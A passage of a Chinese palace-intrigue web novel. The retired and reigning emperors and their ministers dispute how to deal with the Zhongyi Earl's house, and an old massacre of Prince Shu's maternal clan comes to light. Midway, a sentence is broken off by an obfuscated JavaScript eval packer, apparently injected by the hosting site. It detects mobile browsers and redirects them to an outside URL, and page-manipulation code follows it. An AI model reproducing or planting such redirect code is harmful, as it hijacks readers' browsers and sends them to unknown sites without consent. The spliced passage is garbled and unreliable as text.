“穆国公真是位好伯父呢。”皇帝凉凉恭维:“你可是会让侄女给你冲锋了。” “陛下放心,老臣对您的心天地可鉴,老臣一定劝住贵妃绝不让贵妃因此事就跟您闹。”霍秦川脸不红气不喘地大言不惭,皇帝懒得再跟他打机锋,霍秦川再建议:“圣人,陛下,老臣以为或可让贵妃派丞相或者显国公来查忠毅伯府,请圣人、陛下圣裁。” 班丞相被憋出口闷气,显国公心底骂他个混蛋你也好意思嘛你,霍秦川当然好意思啊,特真诚地看着太上皇,太上皇认可道:“丞相在查建威侯府,就显国公来查吧。” 名义上,皇帝的母亲是霍太后,外祖家在霍家,但谁会不把忠毅伯府看在眼里,至少在皇帝厌恶忠毅伯府之前,谁能轻视皇帝生母娘家的份量?显国公用能忽略的迟缓看眼陛下,嬴忱璧说:“丞相把手上的事移交给显国公吧,一点小事犯不着你们两人做。” 班丞相和显国公同领旨意,太上皇讥笑:“一点小事?忠毅伯府若是经不起查,对皇帝也是一点小事吗?皇帝可真是个好皇帝,父皇自愧弗如。” 跪地的众位再把腰背弯低点,正徽帝嬴忱璧颔首:“父皇折煞孩儿了。” “陛下,忠毅伯府行事有些睚眦必报吧。”晏霁之挺直背脊,昂首道:“贵妃出面向圣人请旨将忠毅伯府夺爵,您默认了,芮家就能认吗?会不会被夺爵后,芮家只会愈发上蹿下跳要拿您早逝的生母和今年初夭折的三公主来逼着您?” “前两日,贵妃对朕言,朕不会珍爱自己。”嬴忱璧轻笑:“霁之看,朕像吗?” 晏霁之反问:“若忠毅伯府的罪行已足当问斩,陛下能让显国公一查到底吗?” 好几位神情微凛,太上皇端杯茶喝茶,嬴忱璧似被气笑了:“那你的意思呢?” 晏霁之浑似不会看皇帝的脸色:“一,陛下治住忠毅伯府令芮家今后只会惧怕您;二,陛下请圣人陪您演场戏,圣人假装病场,您相继装病,由霍贵妃代陛下上五月初一的早朝,让忠毅伯府看来霍家只手遮天了,他们自会偃旗息鼓。” 太上皇面若有嫌恶,嬴忱璧反而平静了:“晏卿莫不是在中伤忠毅伯府?” “正徽元年,陛下赐予芮家忠毅伯爵位,自此,凡是和芮家沾亲带故的,忠毅伯全都要把人往朝廷的衙门里塞,年年塞月月塞,塞到今年都没完。正徽元年,弹劾芮家人的奏疏有16本;正徽二年飙到47本,截止到本月,弹劾芮家的奏疏已逾百。” 晏霁之毫不掩饰不屑讥讽:“忠毅伯生了个好女儿,谁都要中伤忠毅伯府?!” 太上皇将茶盏甩在桌上,瓷器碰撞传出的妙音在这刻显得突兀又刺耳,霍秦川心里腹诽,果然还有遮羞布就能三百步笑五十步,就你外祖家的破事,你也好意思甩脸吗? 没人给皇帝缓解难堪,皇帝也像认识到错误了:“如何令芮家惧怕?” “杀!”晏霁之措辞铿锵:“唯有杀之,否则,哪怕陛下您将芮家众人下狱、流放,但凡有人愿意救助他们,即使让芮家造反或弑君,他们都会毫不犹豫。” 晏墉皱眉,霍秦川心说年轻人有胆识,皇帝嬴忱璧不咸不淡不阴不阳的:“你的意思,若将来有逆贼造反,对芮家稍以利诱,芮家就敢跟着逆贼造反?” “收好处给逆贼暗中襄助,芮家当然敢。”晏霁之冷笑:“身在曹营心在汉,当然不是,是坐山观虎斗,谁赢,芮家就倒向谁。朝廷赢了,芮家靠着你照样享尽荣华富贵;朝廷败,他们就是逆贼的大功臣,逆贼要他们拿皇帝的首级来投诚,芮家照样敢做。 芮家人眼巴巴地想要晋国公府晋异姓王府想要拿下凤座拿下储君位想要登顶当朝第一豪族想要有享不尽的荣华富贵,你什么都不肯允他们,你对得起他们家吗?” 大殿氛围急速冷却,英王晏墉要请罪被霍秦川按住,霍秦川轻飘飘打哈哈:“表兄弟嘛,表兄弟俩各抒己见畅所欲言正是表兄弟间亲厚呢,妹夫你说是吧?” 太上皇给穆国公这大舅哥面子:“嗯,都起来,坐吧。” 嬴忱璧未语,相当于默认,众人谢恩,各自走往两边摆置的座椅,然后晏霁之和霍海啸就发现,太上皇左手边斜摆着的紫檀椅明显是给魏王的,太上皇和皇帝跟前的两列六椅明显是给班丞相他们的座次,这大殿里就没有给他们两个的座。 这一定是皇帝的意思,两人互相对视眼,各自心想,各自走到老爹身后站着。 班丞相坐定,眼神没乱瞟,心里可没不乱想,他打量着太上皇舒缓些了,英王世子这一步走得好啊,既能让太上皇顺气又得霍家和显国公的人情,甚至于,皇帝和父皇闹这么僵,未必就不愿意退让步缓和与父亲间的僵局,皇帝或许还就乐得见此。 嬴忱璧抿口茶,质问道:“倘若芮家与逆贼勾连,难道朕还能姑息吗?” “陛下,臣谈的是忠毅伯的心思,忠毅伯怕你吗?”晏霁之直言不讳:“他不怕,即使您偶尔发发狠能震住他,够吗?你没让芮家怕到令芮家深信、他们犯错后你不会徇私包庇、芮家罪孽滔天时你真会把芮家满门抄斩,你永远都管不住这群人。” 围观的大臣们仿若依然没意识到皇帝被挑衅被难堪似的平静着,嬴忱璧沉默片刻,问:“镇南侯庆贵妃晋封的礼五月初能送至是吧?”得到肯定,皇帝他交代:“你通知镇南侯,让他把这份礼安排在五月十五送进京,对忠毅伯府?按第二种方案吧。” “查的深浅?”晏霁之不识好歹再问,皇帝闭目嫌烦躁:“按圣人的意思吧。” 晏霁之俯身作揖向皇帝行个大礼,太上皇再发话:“近日有宵小在皇帝面前诋毁昌隆侯,三日内,穆国公你给寡人查清楚,是何人如此不知死活。” 闻言,魏王真烦这父皇对昌隆侯的维护,皇帝眼睑低垂神思莫辩,霍海啸蹙眉,在座围观的五位大臣眼观鼻鼻观心,几乎都猜穆国公休想全身而退了,显国公真想冲他幸灾乐祸,看霍秦川去哪儿找这个能令太上皇满意的替罪羊。 当然,霍秦川本人是不这么想的,相反,他心里美滋滋。 113. 第113章 该找谁来背黑锅?当然非蜀王莫属啊。 穆国公霍秦川心底假模假样念可不是他不厚道,面上挤着笑意差点没把自己挤成傻帽:“圣人您放心,老臣不需要三日,老臣现下就能够猜出来,是蜀王!” 大殿内安静一瞬,微妙的诡异滋长,魏王看着穆国公被他逗乐了,显国公甚至是班丞相他们都想对穆国公表达钦佩,皇帝捏捏眉心,霍海啸都想捂脸,晏霁之压压兴味,蜀王可不就是最合适的人选,只要霍家私下和蜀王谈妥了,让蜀王担下来有何难? 太上皇气极反笑:“是吗,蜀王为何要诋毁昌隆侯啊?” “圣人您忘记了呀?”霍秦川装得呆萌呆萌哒:“蜀王和昌隆侯有血海深仇呀,二十四年前就是昌隆侯带着人当着蜀王的面把蜀王的母族杀得近乎阖族被灭呀。” 太上皇真忘记了,被穆国公提醒得都愣了下,回想起那段往事,他瞬间变脸。 魏王惊讶地看向嬴忱璧,正徽帝嬴忱璧同样震惊,蜀王的母族在二十四年前被昌隆侯杀得近乎阖族被灭?他几乎不敢相信,昌隆侯怎么敢?父皇又怎会不处置? 不知情的都被惊住,只不过,显国公更郁结于他竟然从未耳闻过蜀王和昌隆侯有死仇。突然,显国公注意到晏副相和晏墉神情不对,叔侄俩皆垂目唏嘘,这是早就知道了?显国公顿时憋闷不已,晏家和霍家都早已获知,他薛家竟全然未收到过风声。 晏霁之想起他祖父生前对姬国舅的死和姬家都讳莫如深,是因此吗? 霍海啸低头,难怪父亲说要带他来长见识,他对父亲的认知被他自己局限住了。 “皇帝,你带丞相他们暂且退下,寡人和国舅要谈些往事。”太上皇缓缓握拳,但眼下哪儿还能是他想瞒就能瞒得住的,皇帝嬴忱璧神态恭敬不肯就范:“父皇,蜀地传来消息,蜀王十余日前已离开蜀地,三皇兄应该是要回京来了。 穆国公所言实在骇人听闻,昌隆侯因何故要屠杀蜀王的母族,且朝中从未传出过风声,穆国公又是如何获知?孩儿想还是让穆国公把事情说清楚吧。” “皇帝?”太上皇生气斥,皇帝嬴忱璧坚持:“父皇,若是蜀王和昌隆侯之间真有死仇,姬家是近乎阖族被灭又不是一个人都没了,如此深仇,但凡还有一个人都不可能忘吧,怎会二十多年来从不见三皇兄和姬家向昌隆侯寻仇,您不觉得诡异吗? 况且,二十四年前昌隆侯因何要屠杀蜀王的母族,蜀王是您的皇子啊,昌隆侯怎么敢,您又怎会不处置于他?蜀王就要回京了,难道还要让三皇兄亲自去揭伤疤吗?” 皇帝的意思就是我一定要知道,你非不让穆国公告诉我,我就让蜀王告诉我。但蜀王现在又是个混不吝的!太上皇一想到蜀王现在一言不合就敢豁命的架势就头疼。 魏王和显国公等几人当然怀疑是圣人在昌隆侯背后,甚至于就是圣人下的令,昌隆侯只是奉命行事,或有深想者意识到不对,国师可是蜀王的小舅啊,倘若真是圣人想灭掉姬氏,他怎么可能留着个这么危险的隐患在身边?但若不是圣人,会是谁? 晏霁之和霍海啸眼神交流过,霍海啸几不可察地点点头,应该是朱太后,圣人恩宠放纵朱家就近十五六年的事,倘若二十四年前昌隆侯胆敢屠杀蜀王的母族,圣人还能不处置吗?除非主谋是朱太后,这才令圣人硬保朱家,蜀王想报仇都报不了。 “父皇放心,郢国公不在。”嬴忱璧贴心提醒:“不会传到鞠太妃耳中。” 太上皇一时没反应过来,下瞬猛地意识到症结,鞠太妃?!太上皇在心底咆哮,造孽啊朱家弄死那么多没出生、刚出生没几天的皇嗣都还嫌不够,非得还对鞠太妃的十皇子下手,鞠太妃又是把这笔账算给霍家的,霍家若是信了这所谓的密报还能忍着吗? “皇帝?!”你今日就非得和父皇唱反调吗? 班丞相眼风瞄向他们,大家伙要请太上皇息怒吗?多数都随意,就穆国公霍秦川表示,他们可以再等等,于是乎在座的六位重臣就坐着当没注意到圣人很生气。 嬴忱璧静默两息,迂回道:“朕总能知道穆国公是如何获悉这段往事的吧?” 太上皇瞪着这皇帝儿子,没好气地差点说不出话来,真想呛个不能,但也清楚,这桩隐秘当众曝出来,他越阻拦只会令皇帝和魏王越想把事情扒出来,咬牙没吭声。 嬴忱璧就当太上皇老爹默认,做主道:“穆国公,给朕和圣人详细道来,你是如何获知昌隆侯将蜀王的母族杀得近乎阖族被灭,你的消息可靠吗?” “陛下,贵妃的母亲姓姬,贵妃和蜀王是表兄妹呀。”霍秦川满含心酸悲戚地装腔作势:“二十四年前臣弟带着女儿就在眉州,老臣不知当年彭山有多惨烈,只知道,稍有差池,当时还只有八岁的蜀王和还在襁褓中的贵妃、还有臣弟,全得死在彭山。” 彭山?居然真是在眉州彭山,蜀王的母族!晏霁之唏嘘,应该不会是巧合,灵渠要找的表哥就是姬家的幸存者吧,但灵渠和姬家能有什么关系,这母亲只是名义上的母亲啊,还是,霍灵渠的身世,霍家还隐瞒了什么?晏霁之垂眸,盖住眼底的思绪。 “眉州,彭山?”皇帝嬴忱璧敏感问:“蜀王的外祖家在…山野?” 魏王心里咯噔声,穆国公霍秦川没多想:“是呀,陛下,姬氏一族世代生活在彭山。”他略过这点枝节回归主题:“说来,贵妃今日就要做母亲了,老臣真怕贵妃若是看着孩儿忆起她的母亲,臣弟都不知该如何告诉女儿,她母亲当年是被活活逼死的呀。” 晏霁之霍然抬眸,兴献侯言:若挚爱因皇家而被迫自尽,灵渠的母亲真是…… 霍海啸惊讶,看官们惊觉霍漓江兴献侯爵位的由来? 嬴忱璧莫名想还好只是贵妃名义上的母亲,冷静下,看向太上皇,太上皇就知道要坏:“那穆国公你告诉寡人,寡人又能如何,让蜀王把朱家屠尽好给他的母族报仇吗?” “圣人,当年叛出姬家害得姬氏险些灭族的祸害至今还在昌隆侯的庇护下逍遥自在,您要保朱家安稳保昌隆侯安稳,因此就连这几个祸害,您都让蜀王动弹不得呀。” 霍秦川霍然站起来,激烈悲怆还是丝压到极致的不满:“十八年啊圣人,姬国舅死后,您为着朱家让蜀王在人前消失十八年,蜀王过了十八年变相软禁的日子,您想过蜀王会有多恨吗?何况都软禁十八年了,您何不把这个儿子软禁到死呢? 老臣斗胆,北境有三十万大军,倘若蜀王握着这三十万大军向您索要昌隆侯的命,您给是不给?倘若蜀王还想要整个朱家给姬氏惨死的族人陪葬,您给是不给?” 好几位神情一凛,太上皇瞳孔一缩,心一下就沉了,这一刻是真嫌昌隆侯不省心。 “霍秦川!昌隆侯和蜀王的仇,你就不知道早早禀告吗?”太上皇忍无可忍地爆发了:“今日都十八了,过两天就要下诏调护国公回来,你才冷不丁捅出这事来,你让寡人一时间去哪儿找个人来代替蜀王,郢国公独自能镇得住北境吗?” 霍秦川像小媳妇样的装委屈:“老臣没想到您忘了呀,老臣哪能想到呢。” “还是寡人的错了?”太上皇气地随手抄样东西就往他边上砸,霍秦川倔强地把自己缩一缩,班丞相率众站起来要请圣人息怒被皇帝示意没事,嬴忱璧心中有丝五味杂陈,蜀王,这位三皇兄如此神秘的真相竟是因此,是被父皇软禁了十八年?! 旁观者谁没点感触,魏王冷笑,父皇对他们是真狠啊,偏对外祖家好得像犯贱。 “父皇,二十四年前真正要屠杀姬氏一族的人是皇祖母吧?”嬴忱璧没再顾忌地求证:“否则何至于有人残杀您亲儿的母族,您反而将亲儿软禁十八年?” 或许是已有预感,太上皇若有疲惫地靠在椅中,没再排斥:“没人想,没人想彭山会以如此惨烈收场,你皇祖母也是追悔莫及,彭山的事后才两年,她就仙去了。” “老臣能作证!”穆国公霍秦川抖机灵:“朱太后在授康11年冬薨逝,授康十年,圣人大封后宫时朱太后的身子骨已经不大好了,可就因为彭山的惨祸,圣人气还没消,朱太后拖着病体想给侄孙女要个从一品妃位,圣人都不愿意给呢。” 其他人:“……” 殿内沉重的氛围消散,显国公真嫌他这上蹿下跳的劲儿,霍秦川就这么热衷于逗闷吗?魏王哼笑,穆国公装模作样扮猪吃老虎的本事也算是一绝了。 太上皇瞪着穆国公真想抄家伙往他身上砸,就差回他:寡人谢谢你啊。 霍秦川可怜巴巴地把自己缩一缩,正徽帝嬴忱璧以手抵唇轻咳声,刚想委婉地要个当年彭山惨祸的完整情况,太上皇抢前道:“穆国公,事已至此,把事说了吧。” “是,圣人。”霍秦川应下转向皇帝,自然懂太上皇的意思,恭谨道:“禀陛下,传闻,彭山姬氏一族是远古颛顼之后,有自远古流传下来的宝物。 授康九年三月,姬氏族中有包藏祸心者叛出家族还混迹到朱太后身边蛊惑了朱太后,授康九年五月,朱太后命令娘家侄儿朱存焳也就是现在的昌隆侯带着当时年仅八岁的蜀王前往眉州彭山拿宝物,姬氏一族不从,僵持大半月后,朱存焳以屠族相威胁。 最终,授康九年八月,彭山姬氏被近乎阖族屠灭,蜀王在人前消失一十八年。” 阳光落进来将沦陷在阴影中的富丽堂皇照得焕彩生辉,殿外正当明媚,诲仰道长在太微宫城楼上瞭望,阳光亮得仿佛能刺透时空的壁垒叫他看见二十四年前的尸山血海。 大殿内,霍秦川言毕,大家伙儿不约而同似有还无的沉寂了。 谁会听不懂穆国公将此事的关键略过了,或者说是太上皇不愿意再让他们知道。譬如,这是个什么宝物,什么宝物竟令朱太后不择手段大造杀戮也要拿到? 再譬如,圣人会拦不住吗?蜀王的母族被杀到近乎阖族被灭啊,圣人想拦当然能拦住,换言之,这根本就是圣人默许的,所以,朱太后和昌隆侯才敢那么狂。 正徽帝嬴忱璧不经意间和魏王视线交汇,兄弟俩有志一同地各自别开眼。 显国公恍然意识到,圣人当年册封姬沛为国舅不是心血来潮,是大有用意啊。 晏霁之心情略感沉重地按按眼睛,电光火石间,念起前世授康三十一年朱家被仇家屠尽满门会否还有蜀王和姬家的手笔?毕竟那时蜀王满三十岁,而立之年了。 霍海啸在怀疑朱太后的死会否有不寻常,授康11年时朱太后可才五十岁出头,何况,姬家又不是一个人都没了,这等死仇,他们当真能忍住毫无反击吗? 嬴忱璧轻咳下,打破沉闷:“穆国公,姬国舅的名讳是?” “姬沛,沛县的沛。”霍秦川挤着脸笑笑,嬴忱璧点点头:“他心性如何?” “淡泊名利。”霍秦川话落,嬴忱璧玩味道:“淡泊名利,出彭山?” “大外甥啊,是晏墉的祖父请姬沛出山的。”穆国公霍秦川突然发飙,忒反感皇帝这以宫笑角的德行:“姬氏一族没有一人在朝中,姬沛都死了,你爹还在呢,不用你来替你的皇祖母痛恨人家不识抬举不肯拱手交出自家世代相传的宝物吧。” 众人冷不防被引得侧目,显国公心说,你在太上皇面前怨气这么重,合适吗? 太上皇倒没说什么,魏王给他个褒奖的笑,晏霁之在心里鼓掌,皇帝是欠骂。 嬴忱璧想揉揉太阳穴还是忍住了,转入正题:“父皇,召护国公回京押后吧。” “皇帝啊,二十四年了,父皇是真把彭山的往事忘记了,你三皇兄封王以来也从来没提过当年更没有要给母族报仇的意向。”太上皇心酸哀叹:“皇帝啊,依你看,若父皇不在了,蜀王是只要昌隆侯的命就能罢休还是会连整个朱家都不会放过?” “孩儿对三皇兄的性情不甚清楚,但若是孩儿曾亲眼见证过母族的族人被屠杀,孩儿必定终身难忘。”何况蜀王还被父亲软禁过十八年,嬴忱璧若猜,当然猜蜀王绝不可能罢休,甚至于太上皇也不可能不清楚,不过是太上皇想让他给个保证而已。 “造孽啊,”太上皇老脸悲从中来,凄然道:“皇帝,朱家毕竟——” “父皇,三皇兄贪慕名利吗?”嬴忱璧不想给任何应承哪怕是敷衍太上皇的虚晃之词:“若是您将来留下遗命都拦不住三皇兄要给母族报仇,若是三皇兄连死都不怕呢?还是,您现下就能决定,若将来蜀王屠尽朱家,则令朕赐死蜀王和姬氏族人?” 太上皇定定看皇帝儿子几眼后颓然阖上眼,问:“谁能代替蜀王坐镇北境?” 穆国公霍秦川不怀好意地唯恐天下不乱:“禀圣人,蜀王近年来行事颇有些不计后果,若朝廷不能给出适当的缘由,蜀王他能接受他突然被临阵换帅吗?” 大臣们各自低眉顺眼,太上皇猛地睁开眼,霍秦川不厚道地在心底嘲笑,你的皇儿们谁是只温顺的绵羊啊,摊到那么多能糟心的儿子还想求长生,不头疼死你才怪。 “父皇,国师对昌隆侯的仇恨是如何解的,对蜀王或可如法炮制。”嬴忱璧瞧着太上皇逐渐发沉的脸色建议,太上皇否掉:“国师和蜀王不同,国师所求不是报仇。” 想让族人们活过来是吧,霍秦川真受不了了,这种鬼话你居然也能信。 “要么让国师劝住蜀王莫生事端,这亲舅舅的话应该有用吧。”嬴忱璧再提议。 “没用,他们甥舅关系不好,蜀王犯倔起来连姬妃都劝不住他。”太上皇又问蜀王要回京来是吧?得到肯定,他决断道:“调护国公回京的旨意暂定押后一个月吧。” 众臣拱手作揖应是,皇帝嬴忱璧笑道:“父皇,镇南侯将给贵妃送礼,朕想让镇南侯派千名铁骑进京,让护国公世子也率千名铁骑回京,朝廷检阅番南北前线的战力。” 太上皇面若有古怪:“战事都打几年了,检阅不是多此一举吗?” “若朝堂上下只知调护国公回京的旨意取消了,昌隆侯因此特意进京来规劝父皇您?”嬴忱璧抬抬下巴,豪气道:“朕要把湘西的金矿封了,用这两千精兵正合适。” 魏王睨这弟弟两眼,这是在神气吗,封座矿也能值得他神气吗? 除魏王外,大家伙眼观鼻鼻观心降低自己的存在感,太上皇已有隐愠怒:“皇帝,你再给父皇说一遍。” “倘若昌隆侯不知调护国公回京的旨意只是暂押后一个月而以为是这旨意取消了,因此特意进京来劝您调护国公回京,那几座矿必须得封了。”嬴忱璧就再说一遍。 “昌隆侯还能因此而进京来?”太上皇气笑,嬴忱璧讽:“就看他会不会进京了?” “好!”太上皇痛快道:“昌隆侯若因此而特意进京来,封,皇帝你尽管去封!” 嬴忱璧颔首:“谢父皇。”皇帝他再转向殿内众臣,警戒道:“召护国公回京的旨意押后,朝堂上下就让他们以为是这旨意取消了吧,谁敢走漏一丝风声,死。” 班丞相率众站起来领旨遵令,嬴忱璧摆摆手示意坐吧,转向太上皇,一鼓作气道:“朕有意精简吏治,将清除四千名冗官,丞相禀告您了吧,父皇可有示下?” 清除四千名官吏?魏王愣下看他们都淡定,尽量顺气平静。 太上皇不是淡定而是脑仁疼过又今日气太多确有些累了实在提不起劲来为这事再生气:“举国不足两万名官员,你一下就要剪除四千名,这将要掀起多大的风波?” “朝廷的补偿足够供他们被革职后至少半年的生计花销。”嬴忱璧不以为然:“难道这群人只能靠国库养着而根本不能自力更生吗,朝廷是让他们混吃等死的地方吗?” 闻言,太上皇真是不想生气都来气了:“你定下的补偿是什么,给钱,给地,入澎湖,若是他们三样都不选就交给老天爷?交给老天爷,这种方案,你都能定下来?” “是!”正徽帝嬴忱璧霍然立起,凤眸藏进强势,眉宇间尽显帝王的霸气:“倘若这群人贪得无厌因此就敢闹事乃至谋逆,尽管来,朕看他们有几个胆几条命!” 一股仿佛能叫人肃然起敬的暗涌在殿内流窜,班丞相已率众再再全体起立。 太上皇仿佛被皇帝惊住了般不由得一愣,显国公猛打个激灵,交给老天爷是这个意思,他原也觉得英王世子这交给老天爷的方案就是个堂而皇之敷衍的混账提议,原来,原来是,若被革职的冗官不满朝廷的安排乃至暗中倒向昌隆侯,就当反贼论! 显国公暗暗吸口凉气,相爷和穆国公他们是瞧着太上皇有些不对劲,照理说太上皇必将动怒不允许皇帝大动干戈大肆清冗官,出人意料的沉静反而叫人看不懂了。 嬴忱璧自然也注意到了,心里微微皱眉,试探性唤声:“父皇?” “父皇想起摄政王了,就是温献皇后的祖父。”太上皇搭着皇帝的手臂站起来,感慨道:“二十多年前,父皇曾偶尔想,你们兄弟若有谁最像摄政王,或许是小六,”念起第六子,或许老父亲的心作祟令他到底不忍心:“旌儿走丢有十三四年了吧?” “是。”嬴忱璧宽慰:“六弟心性豁达是有福之人,您放心,定有团圆之日。” 太上皇抬手拍拍皇帝的手臂,叹道:“但愿,但愿原贤妃在天有灵保佑旌儿否极泰来,能早日平安归来吧。”他像是被触动心底的柔软令他这一刻格外动容:“刚刚啊,父皇刚刚是看着皇儿你像是看见了当年的摄政王,摄政王薨逝快有31年了。” 嬴忱璧讶然,晏墉和晏副相各自滋味在心头,晏霁之黯然,他曾祖父逝世时58岁。 显国公想圣人真愿意对晏家好的吧,否则何至于在摄政王和温献皇后相继过世后还能留着晏家这许多年?霍秦川嫌造孽,明明能善始善终,他就非得让自己晚节难保吗? “父皇,”嬴忱璧自是能感受到老爹这会儿很慈悲,斟酌措辞时,太上皇倏然笑起来,很是有倾诉往事的冲动:“四十年了,四十年前,父皇的大哥愍文太子薨逝。三十五年前,你皇祖父册立父皇为储君,其实你皇祖父当年中意的不是我。 大哥和五弟都是桓皇后嫡出,六弟和七弟是庞贵妃亲子,庞贵妃宠冠后宫十八年啊。你皇祖父在登基的第三年册庞氏女为贵妃,庞氏做十八年贵妃就宠冠了后宫十八年。” 埋在记忆深处的弦被拨起,太上皇似是想起件趣事,没顾忌地曝出来了。 “你皇祖父未封后宫时,你祖母念着要做贵妃啦可高兴,父皇虽是你皇祖父的第三子,但在潜邸时你祖母最得宠还已有两子,可惜啊,她只被封做从一品贤妃。 你祖母哪肯认啊,她就闹着你皇祖父,闹了两年,宫中迎来位庞贵妃,她闹得更凶了,而她越闹就越令你皇祖父烦她,及至她被册为继后,她都只空担了皇后的虚名。 三十八年前桓皇后薨,庞贵妃执掌内廷;三十五年前,你皇祖父册立继后,庞贵妃立誓若你皇祖父驾崩,她绝不独活必追随你皇祖父于地下;由此,庞贵妃以你皇祖母不通庶务为由将掌宫权牢牢攥着,庞贵妃有生之年,你皇祖母根本奈何不了她。” 嬴忱璧忽就不知该说些什么,魏王不惧戳老爹的痛:“父皇,那您当年是?” “是父皇的摄政王,温献皇后的祖父保着父皇登上储君位。”太上皇想倾诉就没掖着:“你们的皇祖父想保每个儿孙安稳,可当时,五弟与六弟势同水火。 五弟上位,庞贵妃和她的五个儿女都难活;六弟上位,五弟和大哥的遗孤就得死。而在我和二哥之间摄政王相中的是我,故,三十五年前是你们的父皇我被册为储君。” 语毕,太上皇不想再多言更懒得再议事,利落地把皇帝和魏王都赶走了。 殿前的日晖转徙过鎏金飞檐撒下堪似能除阴霾的热烈,嬴忱璧率众走到大殿前的广场,望着湛蓝天空晒着炽热的阳光,他闭目静站会儿,像是整个人都轻松舒适些了。 “陛下,圣人对朱家的态度或许要变了。”晏副相迟疑两圈还是给皇帝提个醒。 嬴忱璧缓缓睁眸,看向晏副相,大家伙都看着晏副相呢,班丞相怀疑他怎么推测的,霍秦川想莫非因为摄政王是你爹让你特敏感吗,晏霁之思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459305|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量下感叹小叔公的细腻入微。 “禀陛下,圣人曾向父亲立誓会保兄弟们安稳,而今圣人唯剩谷王爷一位亲弟弟了。肃宗皇帝生前曾忧朱氏会妨害新帝想过赐死朱氏,是圣人立誓保下来的,今日,圣人念起父亲或许会想这些年给朱家的恩赐委实太多了。”晏副相明白道来。 人的想法是很奇妙的,当人认定某件事或者某个死理时,他明知因此会带给他多少不利都能包容;但当他扭转原有想法,曾经的包容能荡然无存乃至变得反感厌恶。 那么太上皇会改变对朱家的态度吗?呵,不会,他刚忆起亲娘就不是那种态度了。 班相等几人恍然,显国公真想松口气,能撬动圣人对朱家的恩宠太不容易了。霍秦川在心底叫乖乖,晏家在肃宗皇帝时权倾朝野就是非同凡响啊,那等隐秘都晓得。 嬴忱璧点点头,忽感愉悦地打趣:“摄政王生前行事是不是有些霸道啊?” 晏副相似有回忆:“父亲曾言大孙女像他,陛下看温献皇后生前是说一不二吗?” 嬴忱璧朗笑起来,笑过,小心眼揪着:“霁之今早去长春宫找过贵妃?” “是的,陛下,晏家昨日截获份庄太妃埋在魏王府的细作假传魏王爷的令责令魏王埋在英王府的暗钉办事的线报,霍贵妃请魏王进宫应该把事跟您说了吧。”晏霁之还友好建议:“说来,要不魏王您把那名暗桩撤走吧,他都暴露了,起不了什么用了。” 魏王嗯道:“庄太妃给我送来的这名细作,本王还是欠你声谢,我一直没把她当回事,实则她肆意冒用我的名义去传令还是能翻出点水花来的,你想要什么?” 晏霁之摆摆手:“我自己查的,不用了。” 霍秦川神奇地看向晏墉,他俩是在谈细作吧,你们现在谈细作都这么友好吗? 晏墉转过脸,貌似被皇兄和情敌一起不知无意还是故意忽略的皇帝嬴忱璧很大度的就当他俩不是故意略过他的盘问以及晏霁之找贵妃确有正事吧,然后,叫散。 众人恭送皇帝,太微宫持续多时的剧烈冲突在贝阙珠宫的历久弥新里消散,晏霁之走前回望眼太微宫,看见比日晖耀眼的金灿,是红尘钟鼎里堆簇拥起的至高无上。他想起太上皇刚曾流露的柔软和良善,就是在这惑人心智的迷域里一点点被侵蚀吗? 蓝天白云幽缈,布谷新啼,含苞待放的木槿花在孟夏故事里轻吟源自它的坚韧。 皇帝銮驾回到皇宫,嬴忱璧没有滞怠地赶往拾翠阁,他到得更当时,迈进拾翠阁的门槛还没走几步,嘹亮的婴儿哭声传来,嬴忱璧眉目舒展浮起笑意,孩子出生了。 宫人们喜气洋洋地恭贺陛下,皇帝他就踏着一路的喜悦大步流星走来,行至殿前,看见贵妃温柔抱着个大红襁褓,他不自觉高兴,心情好地让众人都不必行礼了。 “陛下看,翁美人生了位小皇子。”霍灵渠抱着襁褓给皇帝看他的孩儿,语气中满是对新生命降生的喜悦:“小皇子喜欢你呢,翁美人辛苦生两个多时辰,小家伙就稳稳在娘胎里待着,要父皇到了才肯出生,想来到人世间就让父皇见到他呢。” 嬴忱璧抬手抚抚孩儿的额头,眼底慈爱盈动:“贵妃喜欢皇儿吗?” “喜欢呀,小婴儿多可爱。”霍灵渠悦声问:“陛下要抱抱小皇子吗?” 嬴忱璧没抱孩子,大手一挥就给赏赐了,今日在拾翠阁的所有人全都有赏。 霍灵渠走到翊善伯夫人面前,含笑道:“本宫还在忙选秀,小皇子暂且养在拾翠阁吧,本宫搬回关雎宫再接皇儿回来,翁美人年轻,前两日唯恐她还不懂照顾皇儿,您和世子夫人若还有闲暇,留着住两日帮本宫看顾些,小皇子洗三过后再出宫吧。” 翊善伯夫人婆媳三代人皆在,对霍贵妃突来的好意,要谢恩时又犹豫看向陛下,翁美人母亲的视线尤为忐忑,嬴忱璧爽快地允准了,翁家婆媳忙不迭谢恩。 “朕和贵妃就先走了,嘱咐翁美人好好照顾小皇子,朕和贵妃改日再来看皇儿。” 嬴忱璧瞥见碧纱橱有身影被搀扶着似在张望,想来翁美人还醒着吧。霍灵渠把婴儿的襁褓给翊善伯夫人抱着,不厌烦地叮咛几句,再随皇帝离开拾翠阁。 皇帝还有意和贵妃说会儿话,来到就近的花园,嬴忱璧带贵妃往凉亭走,霍灵渠看着湖岸石悦上心头,甩下皇帝转而走向湖岸边,舒服倚坐在湖畔石上。 一道阴影投下来,霍灵渠抬头,果然是皇帝,嬴忱璧问:“贵妃喜欢这些石头?” “我在拾翠阁陪两个时辰,我有些累了,凉亭里的石凳没靠背的。”霍灵渠说。 “是朕疏忽了。”嬴忱璧从善如流,在贵妃对面坐下,宫人们奉上茶果后退避至十丈外,嬴忱璧端起茶盏饮半杯茶,确认道:“贵妃怀疑有人想害翁美人和小皇子?” “有防备总比没防备强吧,就像陛下你拿到那份密报前,谁会想到,庄太妃和朱太妃竟在私底下互相帮衬,而太妃们不久前刚吃过瘪。”霍灵渠坦率道:“我自己的感觉哦,这几位太妃好像只想算计别人而不能容忍反被算计。” “是小朱太妃吧。”嬴忱璧想想也许他是疏忽了:“朕登基以来,前几位皇嗣降生时太妃们没出过手,朕对此的戒备轻了不少,且,朕还从没顾虑过奶娘可能会出纰漏。” 